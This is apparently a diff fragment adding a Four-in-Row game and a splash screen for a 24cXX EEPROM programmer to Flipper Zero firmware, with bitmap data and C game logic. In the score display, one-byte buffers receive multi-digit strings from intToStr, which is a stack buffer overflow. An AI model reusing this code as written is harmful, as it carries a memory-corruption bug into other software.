0x20, 0x16, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x15, 0x00, 0x00, 0x00, 0x30, 0x00, 0x20,
|
||||
0x08, 0x21, 0x00, 0x00, 0x00, 0x00, 0x80, 0xab, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x20, 0x80,
|
||||
0x40, 0x00, 0x00, 0x00, 0x00, 0x40, 0x5d, 0x15, 0x00, 0x00, 0x00, 0x03, 0x00, 0x40, 0x80, 0x80,
|
||||
0x00, 0x00, 0x00, 0x00, 0xc0, 0xea, 0x02, 0x00, 0x00, 0xc0, 0x07, 0x00, 0x40, 0x40, 0x00, 0x01,
|
||||
0x00, 0x00, 0x00, 0x40, 0x55, 0x57, 0x00, 0x00, 0xf8, 0x07, 0x00, 0x80, 0x40, 0x00, 0x01, 0x00,
|
||||
0x00, 0x00, 0xc0, 0xaa, 0x3a, 0x00, 0x00, 0xfe, 0x05, 0x00, 0x80, 0x40, 0x00, 0x01, 0x00, 0x00,
|
||||
0x00, 0xe0, 0x55, 0xd5, 0x01, 0x00, 0xfc, 0x05, 0x00, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00,
|
||||
0xf0, 0xab, 0x0a, 0x1e, 0x00, 0x70, 0x0c, 0x00, 0x80, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0xd8,
|
||||
0x57, 0x55, 0xe1, 0x01, 0x00, 0x14, 0x00, 0x80, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0xec, 0xaf,
|
||||
0x0a, 0x00, 0xfe, 0x07, 0x14, 0x00, 0xe0, 0x00, 0x7c, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x7f, 0x55,
|
||||
0x05, 0x00, 0x18, 0x24, 0x00, 0x10, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0xeb, 0xff, 0x0a, 0x00,
|
||||
0x00, 0x20, 0x22, 0x00, 0x08, 0x02, 0x20, 0x00, 0x00, 0x00, 0x00, 0xf5, 0xff, 0x55, 0x05, 0x00,
|
||||
0x48, 0x22, 0x00, 0x04, 0x04, 0x10, 0x00, 0x00, 0x00, 0x80, 0xfa, 0xff, 0x0f, 0x00, 0x00, 0x8c,
|
||||
0x42, 0x00, 0x06, 0x08, 0x08, 0x00, 0x00, 0x00, 0x40, 0xf5, 0xff, 0x5f, 0x15, 0x00, 0x06, 0x4b,
|
||||
0x80, 0x09, 0x30, 0x04, 0x00, 0x00, 0x00, 0xc0, 0xfa, 0xff, 0xea, 0x00, 0x00, 0x07, 0x52, 0x40,
|
||||
0x10, 0xc0, 0x06, 0x00, 0x00, 0x00, 0x60, 0xf5, 0x7f, 0x55, 0x17, 0x80, 0x0f, 0x72, 0x30, 0x20,
|
||||
0x00, 0x07, 0x00, 0x00, 0x00, 0xb0, 0xfa, 0xbf, 0xaa, 0x38, 0xc0, 0x1f, 0xf4, 0xac, 0x42, 0x00,
|
||||
0x04, 0x00, 0x00, 0x00, 0x50, 0xf5, 0x5f, 0x55, 0xd5, 0xe1, 0x3f, 0x74, 0x57, 0x81, 0x01, 0x02,
|
||||
0x00, 0x00, 0x00, 0xa8, 0xfa, 0xaf, 0xaa, 0x80, 0xf3, 0x7f, 0xf8, 0xaa, 0x0a, 0x06, 0x01, 0x00,
|
||||
0x00, 0x00};
|
||||
|
||||
void drawScreen_1(Canvas* canvas) {
|
||||
canvas_set_bitmap_mode(canvas, true);
|
||||
|
||||
// Layer 3
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str(canvas, 86, 22, "24cXX ");
|
||||
|
||||
// Layer 3
|
||||
canvas_draw_str(canvas, 77, 10, "Dr.Mosfet ");
|
||||
|
||||
// Layer 4
|
||||
canvas_draw_str(canvas, 67, 34, "Programmer");
|
||||
|
||||
// DolphinMafia
|
||||
canvas_draw_xbm(canvas, -9, 12, 119, 62, image_DolphinMafia_0_bits);
|
||||
}
|
||||
|
After Width: | Height: | Size: 86 B |
|
After Width: | Height: | Size: 2.3 KiB |
|
After Width: | Height: | Size: 1.5 KiB |
|
After Width: | Height: | Size: 1.9 KiB |
@@ -0,0 +1,325 @@
|
||||
#include <stdio.h>
|
||||
#include <furi.h>
|
||||
#include <gui/gui.h>
|
||||
#include <input/input.h>
|
||||
#include <notification/notification.h>
|
||||
#include <notification/notification_messages.h>
|
||||
#include <dolphin/dolphin.h>
|
||||
|
||||
static int matrix[6][7] = {0};
|
||||
static int cursorx = 3;
|
||||
static int cursory = 5;
|
||||
static int player = 1;
|
||||
static int scoreX = 0;
|
||||
static int scoreO = 0;
|
||||
|
||||
typedef struct {
|
||||
FuriMutex* mutex;
|
||||
} FourInRowState;
|
||||
|
||||
void init() {
|
||||
for(size_t i = 0; i < 6; i++) {
|
||||
for(size_t j = 0; j < 7; j++) {
|
||||
matrix[i][j] = 0;
|
||||
}
|
||||
}
|
||||
cursorx = 3;
|
||||
cursory = 5;
|
||||
player = 1;
|
||||
}
|
||||
|
||||
const NotificationSequence end = {
|
||||
&message_vibro_on,
|
||||
|
||||
&message_note_ds4,
|
||||
&message_delay_10,
|
||||
&message_sound_off,
|
||||
&message_delay_10,
|
||||
|
||||
&message_note_ds4,
|
||||
&message_delay_10,
|
||||
&message_sound_off,
|
||||
&message_delay_10,
|
||||
|
||||
&message_note_ds4,
|
||||
&message_delay_10,
|
||||
&message_sound_off,
|
||||
&message_delay_10,
|
||||
|
||||
&message_vibro_off,
|
||||
NULL,
|
||||
};
|
||||
|
||||
void intToStr(int num, char* str) {
|
||||
int i = 0, sign = 0;
|
||||
|
||||
if(num < 0) {
|
||||
num = -num;
|
||||
sign = 1;
|
||||
}
|
||||
|
||||
do {
|
||||
str[i++] = num % 10 + '0';
|
||||
num /= 10;
|
||||
} while(num > 0);
|
||||
|
||||
if(sign) {
|
||||
str[i++] = '-';
|
||||
}
|
||||
|
||||
str[i] = '\0';
|
||||
|
||||
// Reverse the string
|
||||
int j, len = i;
|
||||
char temp;
|
||||
for(j = 0; j < len / 2; j++) {
|
||||
temp = str[j];
|
||||
str[j] = str[len - j - 1];
|
||||
str[len - j - 1] = temp;
|
||||
}
|
||||
}
|
||||
|
||||
int next_height(int x) {
|
||||
if(matrix[0][x] != 0) {
|
||||
return -1;
|
||||
}
|
||||
for(size_t y = 1; y < 6; y++) {
|
||||
if(matrix[y][x] != 0) {
|
||||
return y - 1;
|
||||
}
|
||||
}
|
||||
return 5;
|
||||
}
|
||||
|
||||
int wincheck() {
|
||||
for(size_t y = 0; y <= 2; y++) {
|
||||
for(size_t x = 0; x <= 6; x++) {
|
||||
if(matrix[y][x] != 0 && matrix[y][x] == matrix[y + 1][x] &&
|
||||
matrix[y][x] == matrix[y + 2][x] && matrix[y][x] == matrix[y + 3][x]) {
|
||||
return matrix[y][x];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for(size_t y = 0; y <= 5; y++) {
|
||||
for(size_t x = 0; x <= 3; x++) {
|
||||
if(matrix[y][x] != 0 && matrix[y][x] == matrix[y][x + 1] &&
|
||||
matrix[y][x] == matrix[y][x + 2] && matrix[y][x] == matrix[y][x + 3]) {
|
||||
return matrix[y][x];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for(size_t y = 0; y <= 2; y++) {
|
||||
for(size_t x = 0; x <= 3; x++) {
|
||||
if(matrix[y][x] != 0 && matrix[y][x] == matrix[y + 1][x + 1] &&
|
||||
matrix[y][x] == matrix[y + 2][x + 2] && matrix[y][x] == matrix[y + 3][x + 3]) {
|
||||
return matrix[y][x];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for(size_t y = 3; y <= 5; y++) {
|
||||
for(size_t x = 0; x <= 3; x++) {
|
||||
if(matrix[y][x] != 0 && matrix[y][x] == matrix[y - 1][x + 1] &&
|
||||
matrix[y][x] == matrix[y - 2][x + 2] && matrix[y][x] == matrix[y - 3][x + 3]) {
|
||||
return matrix[y][x];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool tf = true;
|
||||
for(size_t y = 0; y < 6; y++) {
|
||||
for(size_t x = 0; x < 7; x++) {
|
||||
if(matrix[y][x] == 0) {
|
||||
tf = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(tf) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
static void draw_callback(Canvas* canvas, void* ctx) {
|
||||
furi_assert(ctx);
|
||||
const FourInRowState* fourinrow_state = ctx;
|
||||
|
||||
furi_mutex_acquire(fourinrow_state->mutex, FuriWaitForever);
|
||||
canvas_clear(canvas);
|
||||
|
||||
if(wincheck() != -1) {
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
|
||||
if(wincheck() == 0) {
|
||||
canvas_draw_str(canvas, 30, 35, "Draw! O_o");
|
||||
}
|
||||
if(wincheck() == 1) {
|
||||
canvas_draw_str(canvas, 30, 35, "Player X win!");
|
||||
}
|
||||
if(wincheck() == 2) {
|
||||
canvas_draw_str(canvas, 30, 35, "Player O win!");
|
||||
}
|
||||
|
||||
furi_mutex_release(fourinrow_state->mutex);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
for(size_t i = 0; i < 6; i++) {
|
||||
for(size_t j = 0; j < 7; j++) {
|
||||
char el[2];
|
||||
switch(matrix[i][j]) {
|
||||
case 0:
|
||||
strcpy(el, "_\0");
|
||||
break;
|
||||
|
||||
case 1:
|
||||
strcpy(el, "X\0");
|
||||
break;
|
||||
|
||||
case 2:
|
||||
strcpy(el, "O\0");
|
||||
break;
|
||||
}
|
||||
canvas_draw_str(canvas, j * 10 + 10, i * 10 + 10, el);
|
||||
}
|
||||
}
|
||||
canvas_draw_str(canvas, cursorx * 10 + 8, cursory * 10 + 10, "[ ]");
|
||||
|
||||
if(player == 1) {
|
||||
canvas_draw_str(canvas, 80, 10, "Turn: X");
|
||||
}
|
||||
if(player == 2) {
|
||||
canvas_draw_str(canvas, 80, 10, "Turn: O");
|
||||
}
|
||||
char scX[1];
|
||||
intToStr(scoreX, scX);
|
||||
char scO[1];
|
||||
intToStr(scoreO, scO);
|
||||
|
||||
canvas_draw_str(canvas, 80, 20, "X:");
|
||||
canvas_draw_str(canvas, 90, 20, scX);
|
||||
|
||||
canvas_draw_str(canvas, 80, 30, "O:");
|
||||
canvas_draw_str(canvas, 90, 30, scO);
|
||||
|
||||
furi_mutex_release(fourinrow_state->mutex);
|
||||
}
|
||||
|
||||
static void input_callback(InputEvent* input_event, void* ctx) {
|
||||
// Проверяем, что контекст не нулевой
|
||||
furi_assert(ctx);
|
||||
FuriMessageQueue* event_queue = ctx;
|
||||
|
||||
furi_message_queue_put(event_queue, input_event, FuriWaitForever);
|
||||
}
|
||||
|
||||
int32_t four_in_row_app(void* p) {
|
||||
UNUSED(p);
|
||||
|
||||
// Текущее событие типа InputEvent
|
||||
InputEvent event;
|
||||
// Очередь событий на 8 элементов размера InputEvent
|
||||
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
|
||||
|
||||
FourInRowState* fourinrow_state = malloc(sizeof(FourInRowState));
|
||||
|
||||
fourinrow_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); // Alloc Mutex
|
||||
if(!fourinrow_state->mutex) {
|
||||
FURI_LOG_E("4inRow", "cannot create mutex\r\n");
|
||||
furi_message_queue_free(event_queue);
|
||||
free(fourinrow_state);
|
||||
return 255;
|
||||
}
|
||||
|
||||
dolphin_deed(DolphinDeedPluginGameStart);
|
||||
|
||||
// Создаем новый view port
|
||||
ViewPort* view_port = view_port_alloc();
|
||||
// Создаем callback отрисовки, без контекста
|
||||
view_port_draw_callback_set(view_port, draw_callback, fourinrow_state);
|
||||
// Создаем callback нажатий на клавиши, в качестве контекста передаем
|
||||
// нашу очередь сообщений, чтоб запихивать в неё эти события
|
||||
view_port_input_callback_set(view_port, input_callback, event_queue);
|
||||
|
||||
// Создаем GUI приложения
|
||||
Gui* gui = furi_record_open(RECORD_GUI);
|
||||
// Подключаем view port к GUI в полноэкранном режиме
|
||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
||||
NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION);
|
||||
notification_message_block(notification, &sequence_display_backlight_enforce_on);
|
||||
|
||||
// Бесконечный цикл обработки очереди событий
|
||||
while(1) {
|
||||
// Выбираем событие из очереди в переменную event (ждем бесконечно долго, если очередь пуста)
|
||||
// и проверяем, что у нас получилось это сделать
|
||||
if(furi_message_queue_get(event_queue, &event, FuriWaitForever) == FuriStatusOk) {
|
||||
if((event.type == InputTypePress) && (event.key == InputKeyBack)) {
|
||||
break;
|
||||
}
|
||||
|
||||
furi_mutex_acquire(fourinrow_state->mutex, FuriWaitForever);
|
||||
if(wincheck() != -1) {
|
||||
notification_message(notification, &end);
|
||||
furi_delay_ms(1000);
|
||||
if(wincheck() == 1) {
|
||||
scoreX++;
|
||||
}
|
||||
if(wincheck() == 2) {
|
||||
scoreO++;
|
||||
}
|
||||
init();
|
||||
furi_mutex_release(fourinrow_state->mutex);
|
||||
continue;
|
||||
}
|
||||
|
||||
if(event.type == InputTypePress) {
|
||||
if(event.key == InputKeyOk) {
|
||||
int nh = next_height(cursorx);
|
||||
if(nh != -1) {
|
||||
matrix[nh][cursorx] = player;
|
||||
player = 3 - player;
|
||||
}
|
||||
}
|
||||
if(event.key == InputKeyUp) {
|
||||
//cursory--;
|
||||
}
|
||||
if(event.key == InputKeyDown) {
|
||||
//cursory++;
|
||||
}
|
||||
if(event.key == InputKeyLeft) {
|
||||
if(cursorx > 0) {
|
||||
cursorx--;
|
||||
}
|
||||
}
|
||||
if(event.key == InputKeyRight) {
|
||||
if(cursorx < 6) {
|
||||
cursorx++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
furi_mutex_release(fourinrow_state->mutex);
|
||||
}
|
||||
view_port_update(view_port);
|
||||
}
|
||||
|
||||
// Чистим созданные объекты, связанные с интерфейсом
|
||||
view_port_enabled_set(view_port, false);
|
||||
gui_remove_view_port(gui, view_port);
|
||||
view_port_free(view_port);
|
||||
furi_message_queue_free(event_queue);
|
||||
furi_record_close(RECORD_GUI);
|
||||
// Clear notification
|
||||
notification_message_block(notification, &sequence_display_backlight_enforce_auto);
|
||||
furi_record_close(RECORD_NOTIFICATION);
|
||||
|
||||
furi_mutex_free(fourinrow_state->mutex);
|
||||
|
||||
free(fourinrow_state);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 200 B |
@@ -0,0 +1 @@
|
||||
Four in row for flipper zero!!
|
||||